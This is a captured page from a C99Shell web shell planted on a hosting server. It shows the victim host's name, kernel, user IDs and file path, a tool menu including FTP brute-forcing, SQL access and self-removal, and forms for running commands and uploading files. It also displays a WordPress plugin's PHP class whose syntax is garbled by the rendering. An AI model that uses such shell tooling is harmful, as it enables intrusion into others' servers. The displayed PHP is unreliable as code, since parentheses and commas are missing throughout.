!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/whip/src/   drwxr-xr-x
Free 182.56 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Whip_VersionRequirement.php (3.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * A value object containing a version requirement for a component version.
 */
class Whip_VersionRequirement implements Whip_Requirement {
    
/**
     * @var string
     */
    
private $component;

    
/**
     * @var string
     */
    
private $version;

    
/**
     * @var string
     */
    
private $operator;

    
/**
     * Whip_Requirement constructor.
     *
     * @param string $component
     * @param string $version
     * @param string $operator
     */
    
public function __construct$component$version$operator '=' ) {
        
$this->validateParameters$component$version$operator );

        
$this->component $component;
        
$this->version   $version;
        
$this->operator  $operator;
    }

    
/**
     * Gets the component name defined for the requirement.
     *
     * @return string The component name.
     */
    
public function component() {
        return 
$this->component;
    }

    
/**
     * Gets the components version defined for the requirement.
     *
     * @return string
     */
    
public function version() {
        return 
$this->version;
    }

    
/**
     * Returns the operator to use when comparing version numbers.
     *
     * @return string The comparison operator.
     */
    
public function operator() {
        return 
$this->operator;
    }

    
/**
     * Creates a new version requirement from a comparison string
     *
     * @throws Whip_InvalidVersionComparisonString When an invalid version comparison string is passed.
     *
*@param string $component        The component for this version requirement.
     * @param string $comparisonString The comparison string for this version requirement.
     *
*@returns Whip_VersionRequirement The parsed version requirement.
     */
    
public static function fromCompareString$component$comparisonString ) {

        
$matcher '(' .
                       
'(>=?)' // Matches >= and >.
                       
'|' .
                       
'(<=?)' // Matches <= and <.
                   
')' .
                   
'([^>=<\s]+)'// Matches anything except >, <, =, and whitespace.

        
if ( ! preg_match'#' $matcher '#'$comparisonString$match ) ) {
            throw new 
Whip_InvalidVersionComparisonString$comparisonString );
        }

        
$version $match[4];
        
$operator $match[1];

        return new 
Whip_VersionRequirement$component$version$operator );
    }

    
/**
     * Validates the parameters passed to the requirement.
     *
     * @param string $component The component name.
     * @param string $version   The component version.
     * @param string $operator  The operator to use when comparing version.
     *
     * @throws Whip_EmptyProperty
     * @throws Whip_InvalidOperatorType
     * @throws Whip_InvalidType
     */
    
private function validateParameters$component$version$operator ) {
        if ( empty( 
$component ) ) {
            throw new 
Whip_EmptyProperty'Component' );
        }

        if ( !
is_string$component ) ) {
            throw new 
Whip_InvalidType'Component''string'$component );
        }

        if ( empty( 
$version ) ) {
            throw new 
Whip_EmptyProperty'Version' );
        }

        if ( !
is_string$version ) ) {
            throw new 
Whip_InvalidType'Version''string'$version );
        }

        if ( empty( 
$operator ) ) {
            throw new 
Whip_EmptyProperty'Operator' );
        }

        if ( !
is_string$operator ) ) {
            throw new 
Whip_InvalidType'Operator''string'$operator );
        }

        if ( ! 
in_array$operator, array( '=''==''===''<''>''<=''>=' ), true ) ) {
            throw new 
Whip_InvalidOperatorType$operator );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0097 ]--